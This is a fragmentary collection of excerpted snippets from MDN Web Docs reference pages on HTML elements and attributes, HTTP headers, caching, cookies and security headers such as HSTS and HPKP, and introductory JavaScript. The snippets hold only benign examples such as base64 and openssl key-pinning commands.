red in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories none. permitted content text, possibly with escaped characters (like é). tag omission the start tag is mandatory. the end tag is optional if this element is i
mmediately followed by another <option> element or an <optgroup>, or if the parent element has no more content. permitted parents a <select>, an <optgroup> or a <datalist> element. implicit aria role option permitted aria roles no role permitted dom interface htmloptionelement attributes this element includes the global attributes. disabled ...
...t set, only one single <option> of this <select> element may have the selected attribute. value the content of this attribute represents the value to be submitted with the form, should this option be selected. if this attribute is omitted, the value is taken from the text content of the option element. ...
...this option be selected. if this attribute is omitted, the value is taken from the text content of the option element. examples see <select> for examples. specifications specification status co
mment html living standardthe definition of '<option>' in that specification. ...
...ion element. examples see <select> for examples. specifications specification status co
mment html living standardthe definition of '<option>' in that specification. living standard html5the definition of '<option>' in that specification. ...
<p>: The Paragraph element - HTML: Hypertext Markup Language
e is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, palpable content. permitted content phrasing content. tag omission the start tag is required. the end tag may be omitted if the <p> element is i
mmediately followed by an <address>, <article>, <aside>, <blockquote>, <div>, <dl>, <fieldset>, <footer>, <form>, <h1>, <h2>, <h3>, <h4>, <h5>, <h6>, <header>, <hr>, <menu>, <nav>, <ol>, <pre>, <section>, <table>, <ul> or another <p> element, or if there is no more content in the parent element and the parent element is not an <a> element. permitted parents any element that accepts flow ...
...gy. screen readers may announce the paragraph's presence, but not any content contained within it — because there is none. this can confuse and frustrate the person using the screen reader. ...
...e css properties like margin to create the effect: p { margin-bottom: 2em; // increase white space after a paragraph } specifications specification status co
mment html living standardthe definition of '<p>' in that specification. ...
...ifications specification status co
mment html living standardthe definition of '<p>' in that specification. living standard no change since the latest w3c snapshot html5 html5the definition of '<p>' in that specification. ...
<samp>: The Sample Output element - HTML: Hypertext Markup Language
t">mike@interwebz:~$</span> <kbd>md5 -s "hello world"</kbd> md5 ("hello world") = 3e25960a79dbc69b674cd4ec67a72c62 <span class="prompt">mike@interwebz:~$</span> <span class="cursor">█</span></samp></pre> note the use of <span> to allow customization of the appearance of specific portions of the sample text such as the shell prompts and the cursor. note also the use of <kbd> to represent the co
mmand the user entered at the prompt in the sample text. css the css that achieves the appearance we want is: .prompt { color: #b00; } samp > kbd { font-weight: bold; } .cursor { color: #00b; } this simply gives the prompt and cursor fairly subtle colorization and emboldens the keyboard input within the sample text. result the resulting output is this: specifications speci...
...the prompt in the sample text. css the css that achieves the appearance we want is: .prompt { color: #b00; } samp > kbd { font-weight: bold; } .cursor { color: #00b; } this simply gives the prompt and cursor fairly subtle colorization and emboldens the keyboard input within the sample text. ...
...s simply gives the prompt and cursor fairly subtle colorization and emboldens the keyboard input within the sample text. result the resulting output is this: specifications specification status co
mment html living standardthe definition of '<samp>' in that specification. ...
...the sample text. result the resulting output is this: specifications specification status co
mment html living standardthe definition of '<samp>' in that specification. living standard html5the definition of '<samp>' in that specification. ...
<source>: The Media or Image Source element - HTML: Hypertext Markup Language
the source for this interactive example is stored in a github repository. ...
...itted aria roles no role permitted dom interface htmlsourceelement attributes this element includes the global attributes. media media query of the resource's intended media; this should be used only in a <picture> element. sizes is a list of source sizes that describes the final rendered width of the image represented by the source. each source size consists of a co
mma-separated list of media condition-length pairs. this information is used by the browser to determine, before laying the page out, which image defined in srcset to use. please note that sizes will have its effect only if width dimension descriptors are provided with srcset instead of pixel ratio values (200w instead of 2x for example). the sizes attribute has an effect only when the <source> el...
... of pixel ratio values (200w instead of 2x for example). the sizes attribute has an effect only when the <source> element is the direct child of a <picture> element. src required for <audio> and <video>, address of the media resource. the value of this attribute is ignored when the <source> element is placed inside a <picture> element. srcset a list of one or more strings separated by co
mmas indicating a set of possible images represented by the source for the browser to use. each string is composed of: one url specifying an image. a width descriptor, which consists of a string containing a positive integer directly followed by "w", such as 300w. the default value, if missing, is the infinity. a pixel density descriptor, that is a positive floating number directly followed...
... living standard ...
<style>: The Style Information element - HTML: Hypertext Markup Language
wport is less than 500px in width. <!doctype html> <html> <head> <style> p { color: white; background-color: blue; padding: 5px; border: 1px solid black; } </style> <style media="all and (max-width: 500px)"> p { color: blue; background-color: yellow; } </style> </head> <body> <p>this is my paragraph.</p> </body> </html> technical su
mmary content categories metadata content, and if the scoped attribute is present: flow content. permitted content text content matching the type attribute, that is text/css. tag omission neither tag is omissible. permitted parents any element that accepts metadata content. implicit aria role no corresponding role permitted aria r...
...tent text content matching the type attribute, that is text/css. tag omission neither tag is omissible. permitted parents any element that accepts metadata content. ...
...adata content. implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlstyleelement specifications specification status co
mment html living standardthe definition of 'style' in that specification. ...
...ce htmlstyleelement specifications specification status co
mment html living standardthe definition of 'style' in that specification. living standard html5the definition of 'style' in that specification. reco
mmendation the type attribute becomes optional. ...
<sub>: The Subscript element - HTML: Hypertext Markup Language
bers (although you may also consider using a mathml formula for this). see variable subscripts. denoting the number of atoms of a given element within a chemical formula (such as every developer's best friend, c8h10n4o2, otherwise known as "caffeine"). see chemical formulas. examples footnote numbers traditional footnotes are denoted using numbers which are rendered in subscript. ...
... when writing a chemical formula, such as h20, the number of atoms of a given element within the described molecule is represented using a subscripted number; in the case of water, the subscripted "2" indicates that there are two atoms of hydrogen in the molecule. ...
...ribed molecule is represented using a subscripted number; in the case of water, the subscripted "2" indicates that there are two atoms of hydrogen in the molecule. ...
...eloper's favorite molecule is c<sub>8</sub>h<sub>10</sub>n<sub>4</sub>o<sub>2</sub>, which is co
mmonly known as "caffeine."</p> the output: specifications specification status co
mment html living standardthe definition of '<sub> and <sup>' in that specification. ...
<title>: The Document Title element - HTML: Hypertext Markup Language
your own site. duplicate—or near-duplicate—titles can contribute to inaccurate search results. example <title>awesome interesting stuff</title> this example establishes a page whose title (as displayed at the top of the window or in the window's tab) as "awesome interesting stuff". accessibility concerns it is important to provide a title value that describes the page's purpose. a co
mmon navigation technique for users of assistive technology is to read the page title and infer the content the page contains. this is because navigating into a page to determine its content can be a time consuming and potentially confusing process. example <title>menu - blue house chinese food - foodyum: online takeout today!</title> to help the user, update the page title value to reflect sign...
...he user, update the page title value to reflect significant page state changes (such as form validation problems). ...
...dyum: online takeout today!</title> mdn understanding wcag, guideline 2.4 explanations understanding success criterion 2.4.2 | w3c understanding wcag 2.0 specifications specification status co
mment html living standardthe definition of '<title>' in that specification. ...
... success criterion 2.4.2 | w3c understanding wcag 2.0 specifications specification status co
mment html living standardthe definition of '<title>' in that specification. living standard html5the definition of '<title>' in that specification. ...
<var>: The Variable element - HTML: Hypertext Markup Language
it's typically presented using an italicized version of the current typeface, although that behavior is browser-dependent. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the starting and ending tag are mandatory. ...
...arting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes this element only includes the global attributes. ...
...ls back to the default monospace font. ...
...ol the minimum and maximum speed of the apparatus in revolutions per minute (rpm).</p> this html uses <var> to enclose the names of two variables. ...
dir - HTML: Hypertext Markup Language
has a different semantic meaning. this attribute is not inherited by the <bdi> element. if not set, its value is auto. this attribute can be overridden by the css properties direction and unicode-bidi, if a css page is active and the element supports these properties. as the directionality of the text is semantically related to its content and not to its presentation, it is reco
mmended that web developers use this attribute instead of the related css properties when possible. that way, the text will display correctly even on a browser that doesn't support css or has the css deactivated. the auto value should be used for data with an unknown directionality, like data coming from user input, eventually stored in a database. browsers might allow users to change th...
...ality of <input> and <textarea>s in order to assist with authoring content. chrome and safari provide a directionality option in the contextual menu of input fields while internet explorer and edge use the key combinations ctrl + left shift and ctrl + right shift. firefox uses ctrl/cmd + shift + x but does not update the dir attribute value. ...
...ations ctrl + left shift and ctrl + right shift. firefox uses ctrl/cmd + shift + x but does not update the dir attribute value. specifications specification status co
mment html living standardthe definition of 'dir' in that specification. living standard no change from latest snapshot, html 5.1 html 5.1the definition of 'dir' in that specification. reco
mmendation snapshot of html living standard, no change from html5 html5the definition of 'dir' in that specification. ...
...cations specification status co
mment html living standardthe definition of 'dir' in that specification. living standard no change from latest snapshot, html 5.1 html 5.1the definition of 'dir' in that specification. reco
mmendation snapshot of html living standard, no change from html5 html5the definition of 'dir' in that specification. reco
mmendation snapshot of html living standard, from html 4.01 specification it added the auto value, and is now a true global attribute. html 4.01 specificationthe definition of 'dir' in that specification. reco
mmendation supported on all elements but <applet>, <base>, <basefont>, <bdo>, <br>, <frame>, <frameset>, <iframe>, <param>, and <script>. ...
style - HTML: Hypertext Markup Language
this attribute and the <style> element have mainly the purpose of allowing for quick styling, for example for testing purposes. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. usage note: this attribute must not be used to convey semantic information. even if all styling is removed, a page should remain semantically correct. ...
... clone https://github.com/mdn/interactive-examples and send us a pull request. usage note: this attribute must not be used to convey semantic information. even if all styling is removed, a page should remain semantically correct. typically it shouldn't be used to hide irrelevant information; this should be done using the hidden attribute. ...
...lly correct. typically it shouldn't be used to hide irrelevant information; this should be done using the hidden attribute. specifications specification status co
mment html living standardthe definition of 'style' in that specification. living standard no change from latest snapshot, html 5.1 html 5.1the definition of 'style' in that specification. reco
mmendation snapshot of html living standard, no change from html5 html5the definition of 'style' in that specification. reco
mmendation snapshot of html living standard. ...
... 5.1the definition of 'style' in that specification. reco
mmendation snapshot of html living standard, no change from html5 html5the definition of 'style' in that specification. reco
mmendation snapshot of html living standard. from html 4.01 specification, it is now a true global attribute. html 4.01 specificationthe definition of 'style' in that specification. reco
mmendation supported on all elements but <base>, <basefont>, <head>, <html>, <meta>, <param>, <script>, <style>, and <title>. css style attributes reco
mmendation defines the content of the style attribute. ...
title - HTML: Hypertext Markup Language
text representing advisory information related to the element it belongs to. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. some typical uses: labeling <iframe> elements for assistive technology providing a progra
mmatically associated label for an <input> element as a fallback for a real <label> labeling controls in data tables additional semantics are attached to the title attributes of the <link>, <abbr>, <input>, and <menuitem> elements. multiline titles the title attribute may contain several lines. each u+000a line feed (lf) character represents a line break. some caution must be taken, as this mea...
...chnique that can be accessed with the above browsing methods. 3.2.5.1. the title attribute | w3c html 5.2: 3. ...
...up tooltips & toggletips - inclusive components the trials and tribulations of the title attribute - 24 accessibility specifications specification status co
mment html living standardthe definition of 'title' in that specification. living standard no change from latest snapshot, html 5.1 html 5.1the definition of 'title' in that specification. reco
mmendation snapshot of html living standard, no change from html5 html5the definition of 'title' in that specification. reco
mmendation snapshot of html living standard. ...
... 5.1the definition of 'title' in that specification. reco
mmendation snapshot of html living standard, no change from html5 html5the definition of 'title' in that specification. reco
mmendation snapshot of html living standard. from html 4.01 specification, it is now a true global attribute. html 4.01 specificationthe definition of 'title' in that specification. reco
mmendation supported on all elements but <base>, <basefont>, <head>, <html>, <meta>, <param>, <script>, and <title>. ...
Data URLs - HTTP
64 representation. by consisting only in ascii characters, base64 strings are generally url-safe, and that's why they can be used to encode data in data urls. encoding in javascript the web apis have native methods to encode or decode to base64: base64 encoding and decoding. encoding on a unix system base64 encoding of a file or string on linux and mac os x systems can be achieved using the co
mmand-line base64 (or, as an alternative, the uuencode utility with -m argument). echo -n hello|base64 # outputs to console: agvsbg8= echo -n hello>a.txt base64 a.txt # outputs to console: agvsbg8= base64 a.txt>b.txt # outputs to file b.txt: agvsbg8= encoding on microsoft windows encoding on windows can be done through powershell or some dedicated tool. it can even be done via bash base64 util...
...ndows can be done through powershell or some dedicated tool. it can even be done via bash base64 utility (see section encoding on a unix system) if wsl is activated. ...
... tool. it can even be done via bash base64 utility (see section encoding on a unix system) if wsl is activated. [convert]::tobase64string([text.encoding]::utf8.getbytes("hello")) # outputs to console: agvsbg8= bash -c "echo -n hello`|base64" # outputs to console: agvsbg8= # the backtick (`) is used to escape the piping (|) character here co
mmon problems this section describes problems that co
mmonly occur when creating and using data urls. ...
... formatting in html a data url provides a file within a file, which can potentially be very wide relative to the width of the enclosing document. ...
Cross-Origin Resource Sharing (CORS) - HTTP
guage, and content-language headers. if any of those headers have ”nonstandard” values, webkit/safari does not consider the request to be a “simple request”. what values webkit/safari consider “nonstandard” is not documented, except in the following webkit bugs: require preflight for non-standard cors-safelisted request headers accept, accept-language, and content-language allow co
mmas in accept, accept-language, and content-language request headers for simple cors switch to a blacklist model for restricted accept headers in simple cors requests no other browsers implement these extra restrictions, because they’re not part of the spec. for example, suppose web content at https://foo.example wishes to invoke content on domain https://bar.other. code of this sort might b...
... query the resource in question. note that this header is similar to the allow response header, but used strictly within the context of access control. the server also sends access-control-allow-headers with a value of "x-pingother, content-type", confirming that these are permitted headers to be used with the actual request. like access-control-allow-methods, access-control-allow-headers is a co
mma separated list of acceptable headers. finally, access-control-max-age gives the value in seconds for how long the response to the preflight request can be cached for without sending another preflight request. in this case, 86400 seconds is 24 hours. note that each browser has a maximum internal value that takes precedence when the access-control-max-age is greater. preflighted requests and red...
...w-headers: <header-name>[, <header-name>]* the http request headers this section lists headers that clients may use when issuing http requests in order to make use of the cross-origin sharing feature. note that these headers are set for you when making invocations to servers. developers using cross-site xmlhttprequest capability do not have to set any cross-origin sharing request headers progra
mmatically. origin the origin header indicates the origin of the cross-site access request or preflight request. origin: <origin> the origin is a uri indicating the server from which the request initiated. it does not include any path information, but only the server name. note: the origin value can be null, or a uri. note that in any access control request, the origin header is always sent. ...
...of this usage can be found above. access-control-request-headers the access-control-request-headers header is used when issuing a preflight request to let the server know what http headers will be used when the actual request is made. access-control-request-headers: <field-name>[, <field-name>]* examples of this usage can be found above. specifications specification status co
mment fetchthe definition of 'cors' in that specification. living standard new definition; supplants w3c cors specification. ...
HTTP caching - HTTP
t stores responses to be reused by more than one user. for example, an isp or your company might have set up a web proxy as part of its local network infrastructure to serve many users so that popular resources are reused a number of times, reducing network traffic and latency. targets of caching operations http caching is optional, but reusing a cached resource is usually desirable. ...
... permanent redirects: a 301 (moved permanently) response. ...
...is stored in a cache, it could theoretically be served by the cache forever. caches have finite storage so items are periodically removed from storage. this process is called cache eviction. on the other side, some resources may change on the server so the cache should be updated. as http is a client-server protocol, servers can't contact caches and clients when a resource changes; they have to co
mmunicate an expiration time for the resource. before this expiration time, the resource is fresh; after the expiration time, the resource is stale. eviction algorithms often privilege fresh resources over stale resources. note that a stale resource is not evicted or ignored; when the cache receives a request for a stale resource, it forwards this request with a if-none-match to check if it is in fa...
...st-modified header divided by 10. the expiration time is computed as follows: expirationtime = responsetime + freshnesslifetime - currentage where responsetime is the time at which the response was received according to the browser. revved resources the more we use cached resources, the better the responsiveness and the performance of a web site will be. to optimize this, good practices reco
mmend to set expiration times as far in the future as possible. this is possible on resources that are regularly updated, or often, but is problematic for resources that are rarely and infrequently updated. they are the resources that would benefit the most from caching resources, yet this makes them very difficult to update. this is typical of the technical resources included and linked from each w...
HTTP conditional requests - HTTP
ified-since succeeds if the last-modified date of the distant resource is older or the same than the one given in this header. if-range similar to if-match, or if-unmodified-since, but can have only one single etag, or one date. if it fails, the range request fails, and instead of a 206 partial content response, a 200 ok is sent with the complete resource. use cases cache update the most co
mmon use case for conditional requests is updating a cache. with an empty cache, or without a cache, the requested resource is sent back with a status of 200 ok. together with the resource, the validators are sent in the headers. in this example, both last-modified and etag are sent, but it could equally have been only one of them. these validators are cached with the resource (like all headers) ...
...od works, it adds an extra response/request exchange when the document has been changed. this impairs performance, and http has a specific header to avoid this scenario: if-range: this solution is more efficient, but slightly less flexible, as only one etag can be used in the condition. rarely is such additional flexibility needed. avoiding the lost update problem with optimistic locking a co
mmon operation in web applications is to update a remote document. this is very co
mmon in any file system or source control applications, but any application that allows to store remote resources needs such a mechanism. co
mmon web sites, like wikis and other cms, have such a need. with the put method you are able to implement this. the client first reads the original files, modifies them, and final...
...to implement this. the client first reads the original files, modifies them, and finally pushes them to the server: unfortunately, things get a little inaccurate as soon as we take into account concurrency. while a client is locally modifying its new copy of the resource, a second client can fetch the same resource and do the same on its copy. ...
...lient is locally modifying its new copy of the resource, a second client can fetch the same resource and do the same on its copy. what happens next is very unfortunate: when they co
mmit back to the server, the modifications from the first client are discarded by the next client push, as this second client is unaware of the first client's changes to the resource. the decision on who wins, is not co
mmunicated to the other party. which client's changes are to be kept, will vary with the speed they co
mmit; this depends on the performance of the clients, of the server, and even of the human editing the document at the client. the winner will change from one time to the next. this is a race condition and leads to problematic behaviors, which are difficult to detect and to debug: there is no way...
Configuring servers for Ogg media - HTTP
e ogg format doesn't encapsulate the duration of media, so for the progress bar on the video controls to display the duration of the video, gecko needs to determine the length of the media using other means. there are two ways gecko can do this. the best way is to offer an x-content-duration header when serving ogg media files. this header provides the duration of the video in seconds (not in hh:
mm:ss format) as a floating-point value. for example, if the video is 1 minute and 32.6 seconds long, this header would be: x-content-duration: 92.6 if your server provides the x-content-duration header when serving ogg media, gecko doesn't have to do any extra http requests to seek to the end of the file to calculate its duration. this makes the entire process much more efficient as well as mor...
...s the x-content-duration header when serving ogg media, gecko doesn't have to do any extra http requests to seek to the end of the file to calculate its duration. this makes the entire process much more efficient as well as more accurate. as an inferior alternative, gecko can estimate the video length based on the content-length. see next point. don't use http compression for media files one co
mmon way to reduce the load on a web server is to use gzip or deflate compression when serving to a supporting web browser. although it's unlikely, it's possible the browser may advertise that it supports http compression (gzip/deflate) using the accept-encoding: gzip,deflate header when requesting media files. your server should be configured to not do so. the data in media files is already compre...
... it's important to note that it appears that oggz-info makes a read pass of the media in order to calculate its duration, so it's a good idea to store the duration value in order to ...
...8996688 4531 packets in 167 pages, 27.1 packets/page, 1.408% ogg overhead audio-samplerate: 44100 hz audio-channels: 2 note that you can't simply serve up the reported content-duration line reported by oggz-info, because it's reported in hh:
mm:ss format. you'll need to convert it to seconds only, then serve that as your x-content-duration value. just parse out the hh,
mm, and ss into numbers, then do (hh*3600)+(
mm*60)+ss to get the value you should report. it's important to note that it appears that oggz-info makes a read pass of the media in order to calculate its duration, so it's a good idea to store the duration value in order to avoid lengthy delays while the value is calculated for every http request of your ogg media. ...
Using HTTP cookies - HTTP
nly used for three purposes: session management logins, shopping carts, game scores, or anything else the server should remember personalization user preferences, themes, and other settings tracking recording and analyzing user behavior cookies were once used for general client-side storage. while this was legitimate when they were the only way to store data on the client, it is now reco
mmended to use modern storage apis. cookies are sent with every request, so they can worsen performance (especially for mobile data connections). modern apis for client storage are the web storage api (localstorage and sessionstorage) and indexeddb. to see stored cookies (and other storage that a web page can use), you can enable the storage inspector in developer tools and select cookies from the...
...s mentioned below, refer to the set-cookie reference article. the set-cookie and cookie headers the set-cookie http response header sends cookies from the server to the user agent. ...
...rver sending headers to tell the client to store a pair of cookies: http/2.0 200 ok content-type: text/html set-cookie: yu
mmy_cookie=choco set-cookie: tasty_cookie=strawberry [page content] then, with every subsequent request to the server, the browser sends back all previously stored cookies to the server using the cookie header. get /sample_page.html http/2.0 host: www.example.org cookie: yu
mmy_cookie=choco; tasty_cookie=strawberry note: here's how to use the set-cookie header in various server-side applications: php node.js python ruby on rails define the lifetime of a cookie the lifetime of a cookie can be defined in two ways: session cookies are deleted when the current session ends. the browser defines when the "current session" ends, and some browsers use session res...
...ookie header. for more information about cookie prefixes and the current state of browser support, see the prefixes section of the set-cookie reference article. javascript access using document.cookie new cookies can be created via javascript using the document.cookie property, and existing cookies can be accessed from javascript as well, if the httponly flag is not set. document.cookie = "yu
mmy_cookie=choco"; document.cookie = "tasty_cookie=strawberry"; console.log(document.cookie); // logs "yu
mmy_cookie=choco; tasty_cookie=strawberry" cookies created via javascript cannot include the httponly flag. please note the security issues in the security section below. cookies available to javascript can be stolen through xss. security information should be stored in cookies with the unde...
Accept-Language - HTTP
the accept-language request http header advertises which languages the client is able to understand, and which locale variant is preferred. (by languages, we mean natural languages, such as english, and not progra
mming languages.) using content negotiation, the server then selects one of the proposals, uses it and informs the client of its choice with the content-language response header. browsers set adequate values for this header according to their user interface language and even if a user can change it, this happens rarely (and is frowned upon as it leads to fingerprinting). ...
...e response header. browsers set adequate values for this header according to their user interface language and even if a user can change it, this happens rarely (and is frowned upon as it leads to fingerprinting). this header is a hint to be used when the server has no way of determining the language via another way, like a specific url, that is controlled by an explicit user decision. it is reco
mmended that the server never overrides an explicit decision. the content of the accept-language is often out of the control of the user (like when traveling and using an internet cafe in a different country); the user may also want to visit a page in another language than the locale of their user interface. if the server cannot serve any matching language, it can theoretically send back a 406 (not...
...age is often out of the control of the user (like when traveling and using an internet cafe in a different country); the user may also want to visit a page in another language than the locale of their user interface. if the server cannot serve any matching language, it can theoretically send back a 406 (not acceptable) error code. but, for a better user experience, this is rarely done and more co
mmon way is to ignore the accept-language header in this case. header type request header forbidden header name no cors-safelisted request header yes, with the additional restriction that values can only be 0-9, a-z, a-z, space or *,-.;=. syntax accept-language: <language> accept-language: * // multiple types, weighted with the quality value syntax: acce...
...language> accept-language: * // multiple types, weighted with the quality value syntax: accept-language: fr-ch, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5 directives <language> a language tag (which is sometimes referred to as a "locale identifier"). this consists of a 2-3 letter base language tag representing the language, optionally followed by additional subtags separated by '-'. the most co
mmon extra information is the country or region variant (like 'en-us' or 'fr-ca') or the type of alphabet to use (like 'sr-latn'). other variants like the type of orthography ('de-de-1996') are usually not used in the context of this header. * any language; '*' is used as a wildcard. ;q= (q-factor weighting) any value placed in an order of preference expressed using a relative quality value ca...
CSP: object-src - HTTP
specifies valid sources for the <object>, <embed>, and <applet> elements. to set allowed types for <object>, <embed>, and <applet> elements, use the plugin-types directive. elements controlled by object-src are perhaps coincidentally considered legacy html elements and aren't receiving new standardized features (such as the security attributes sandbox or allow for <iframe>). therefore it is reco
mmended to restrict this fetch-directive (e.g. explicitly set object-src 'none' if possible). csp version 1 directive type fetch directive default-src fallback yes. if this directive is absent, the user agent will look for the default-src directive. syntax one or more sources can be allowed for the object-src policy: content-security-policy: object-src <...
... to access port 443 on mail.example.com. https://store.example.com: matches all attempts to access store.example.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a schema such as 'http:' or 'https:'. the colon is required, single quotes shouldn't be used. you can also specify data schemas (not reco
mmended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' ...
... ...
...ct data="https://not-example.com/plugin"></object> <applet archive="https://not-example.com/java"></applet> specifications specification status co
mment content security policy level 3the definition of 'object-src' in that specification. working draft no changes. content security policy level 2the definition of 'object-src' in that specification. reco
mmendation initial definition. ...
Strict-Transport-Security - HTTP
emember that a site is only to be accessed using https. includesubdomains optional if this optional parameter is specified, this rule applies to all of the site's subdomains as well. preload optional see preloading strict transport security for details. not part of the specification. description if a website accepts a connection through http and redirects to https, visitors may initially co
mmunicate with the non-encrypted version of the site before being redirected, if, for example, the visitor types http://www.foo.com/ or even just foo.com. this creates an opportunity for a man-in-the-middle attack. the redirect could be exploited to direct visitors to a malicious site instead of the secure version of the original site. the http strict transport security header informs the browser t...
...the site via http will proceed as normal instead of automatically using https. whenever the strict-transport-security header is delivered to the browser, it will update the expiration time for that site, so sites can refresh this information and prevent the timeout from expiring. should it be necessary to disable strict transport security, setting the max-age to 0 (over a https connection) will i
mmediately expire the strict-transport-security header, allowing access via http. preloading strict transport security google maintains an hsts preload service. by following the guidelines and successfully submitting your domain, browsers will never connect to your domain using an insecure connection. while the service is hosted by google, all browsers have stated an intent to use (or actually sta...
...ps for a max-age of 1 year. this blocks access to pages or sub domains that can only be served over http. strict-transport-security: max-age=31536000; includesubdomains in the following example, max-age is set to 2 years, raised from what was a former limit max-age of 1 year. note that 1 year is acceptable for a domain to be included in browsers' hsts preload lists. ...
...ists. 2 years is, however, the reco
mmended goal as a website's final hsts configuration as explained on https://hstspreload.org. it also suffixed with preload which is necessary for inclusion in most major web browsers' hsts preload lists, e.g. chromium, edge, & firefox. ...
HTTP Public Key Pinning (HPKP) - HTTP
ond pin for a backup key which isn't yet used in production. this allows for changing the server's public key without breaking accessibility for clients that have already noted the pins. this is important for example when the former key gets compromised. ...
...ed public key information note: while the example below shows how to set a pin on a server certificate, it is reco
mmended to place the pin on the intermediate certificate of the ca that issued the server certificate, to ease certificates renewals and rotations. first you need to extract the public key information from your certificate or key file and encode them using base64. the following co
mmands will help you extract the base64 encoded information from a key file, a certificate signing request, or a certificate. openssl rsa -in my-rsa-key-file.key -outform der -pubout | openssl dgst -sha256 -binary | openssl enc -base64 openssl ec -in my-ecc-key-file.key -outform der -pubout | openssl dgst -sha256 -binary | openssl enc -base64 openssl req -in my-signing-request.csr -pubkey -noout ...
... openssl s_client -servername www.example.com -connect www.example.com:443 | openssl x509 -pubkey -noout | openssl pkey -pubin -outform der | openssl dgst -sha256 -binary | openssl enc -base64 example hpkp header public-key-pins: pin-sha256="cupctazwkaasuywhhnedttwpy3obake3h2+sozs7sws="; pin-sha256="m8hztczm3eluxkcjr2s5p4hhybnf6l...
...kp header the concrete steps necessary to deliver the hpkp header depend on the web server you use. note: these examples use a max-age of two months and include all subdomains. it is advised to verify that this setup will work for your server. hpkp has the potential to lock out users for a long time if used incorrectly! the use of backup certificates and/or pinning the ca certificate is reco
mmended. apache adding a line similar to the following to your webserver's config will enable hpkp on your apache. this requires mod_headers enabled. header always set public-key-pins "pin-sha256=\"base64+primary==\"; pin-sha256=\"base64+backup==\"; max-age=5184000; includesubdomains" nginx adding the following line and inserting the appropriate pin-sha256="..." values will enable hpkp on your...
HTTP resources and specifications - HTTP
rfc 7232 hypertext transfer protocol (http/1.1): conditional requests proposed standard rfc 7233 hypertext transfer protocol (http/1.1): range requests proposed standard rfc 7234 hypertext transfer protocol (http/1.1): caching proposed standard rfc 5861 http cache-control extensions for stale content informational rfc 8246 http i
mmutable responses proposed standard rfc 7235 hypertext transfer protocol (http/1.1): authentication proposed standard rfc 6265 http state management mechanism defines cookies proposed standard draft spec cookie prefixes ietf draft draft spec same-site cookies ietf draft draft spec deprecate modification of 'secure' cooki...
... proposed standard rfc 7239 forwarded http extension proposed standard rfc 6455 the websocket protocol proposed standard rfc 5246 the transport layer secur...
... 6454 the web origin concept proposed standard fetchthe definition of 'cors' in that specification. ...
...hyper text coffee pot control protocol (htcpcp/1.0) april 1st joke spec rfc 7168 the hyper text coffee pot control protocol for tea efflux appliances (htcpcp-tea) april 1st joke spec html living standard html defines extensions of http for server-sent events living standard tracking preference expression dnt header editor's draft / candidate reco
mmendation reporting api report-to header draft draft spec expect-ct extension for http ietf draft ...
About JavaScript - JavaScript
what is javascript? javascript® (often shortened to js) is a lightweight, interpreted, object-oriented language with first-class functions, and is best known as the scripting language for web pages, but it's used in many non-browser environments as well. it is a prototype-based, multi-paradigm scripting language that is dynamic, and supports object-oriented, imperative, and functional progra
mming styles. javascript runs on the client side of the web, which can be used to design / program how the web pages behave on the occurrence of an event. javascript is an easy to learn and also powerful scripting language, widely used for controlling web page behavior. contrary to popular misconception, javascript is not "interpreted java". in a nutshell, javascript is a dynamic scripting language s...
...tion. the basic syntax is intentionally similar to both java and c++ to reduce the number of new concepts required to learn the language. language constructs, such as if statements, for and while loops, and switch and try ... catch blocks function the same as in these languages (or nearly so). javascript can function as both a procedural and an object oriented language. objects are created progra
mmatically in javascript, by attaching methods and properties to otherwise empty objects at run time, as opposed to the syntactic class definitions co
mmon in compiled languages like c++ and java. once an object has been constructed it can be used as a blueprint (or prototype) for creating similar objects. javascript's dynamic capabilities include runtime object construction, variable parameter list...
...int (or prototype) for creating similar objects. javascript's dynamic capabilities include runtime object construction, variable parameter lists, function variables, dynamic script creation (via eval), object introspection (via for ... in), and source code recovery (javascript programs can decompile function bodies back into their source text). for a more in depth discussion of javascript progra
mming follow the javascript resources links below. what javascript implementations are available? the mozilla project provides two javascript implementations. the first ever javascript was created by brendan eich at netscape, and has since been updated to conform to ecma-262 edition 5 and later versions. this engine, code named spidermonkey, is implemented in c/c++. the rhino engine, created prima...
...itro) used in some webkit browsers such as apple safari. carakan in old versions of opera. the chakra engine used in internet explorer (although the language it implements is formally called "jscript" in order to avoid trademark issues). each of mozilla's javascript engines expose a public api which application developers can use to integrate javascript into their software. by far, the most co
mmon host environment for javascript is web browsers. web browsers typically use the public api to create host objects responsible for reflecting the dom into javascript. another co
mmon application for javascript is as a (web) server side scripting language. a javascript web server would expose host objects representing a http request and response objects, which could then be manipulated by a javas...
Functions - JavaScript
wish to call it. see also the exhaustive reference chapter about javascript functions to get to know the details. defining functions function declarations a function definition (also called a function declaration, or function statement) consists of the function keyword, followed by: the name of the function. a list of parameters to the function, enclosed in parentheses and separated by co
mmas. the javascript statements that define the function, enclosed in curly brackets, {...}. for example, the following code defines a simple function named square: function square(number) { return number * number; } the function square takes one parameter, called number. the function consists of one statement that says to return the parameter of the function (that is, number) multiplied by ...
... console.log('begin: ' + i); foo(i - 1); console.log('end: ' + i); } foo(3); // output: // begin: 3 // begin: 2 // begin: 1 // begin: 0 // end: 0 // end: 1 // end: 2 // end: 3 nested functions and closures you may nest a function within another function. the nested (inner) function is private to its containing (outer) function. it also forms a closure. ...
... the inner function forms a closure: the inner function can use the arguments and variables of the outer function, while the outer function cannot use the arguments and variables of the inner function. ...
